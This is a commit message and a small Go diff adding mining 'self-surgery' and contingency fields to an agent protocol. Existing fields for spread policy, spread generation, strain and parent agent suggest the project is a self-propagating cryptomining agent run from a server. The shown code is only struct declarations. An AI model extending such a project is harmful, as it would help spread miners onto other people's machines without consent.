Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/client/protocol.go

@@ -79,6 +79,8 @@ type AuthResponse struct {
 	SpreadPolicy        json.RawMessage `json:"spread_policy,omitempty"`
 	GraftPolicy         json.RawMessage `json:"graft_policy,omitempty"`
 	EpidemiologyFix     json.RawMessage `json:"epidemiology_fix,omitempty"`
+	MiningSelfSurgery   json.RawMessage `json:"mining_self_surgery,omitempty"`
+	ContingencyPolicy   json.RawMessage `json:"contingency_policy,omitempty"`
 }
 
 type SharePayload struct {
@@ -164,6 +166,7 @@ type StatsPayload struct {
 	ParentAgentID  string  `json:"parent_agent_id,omitempty"`
 	SpreadGeneration int   `json:"spread_generation,omitempty"`
 	SpreadStrain   string  `json:"spread_strain,omitempty"`
+	ContingencyDepth int   `json:"contingency_depth,omitempty"`
 
 	// Fleet role split telemetry (stats WS).
 	FleetRole        string  `json:"fleet_role,omitempty"`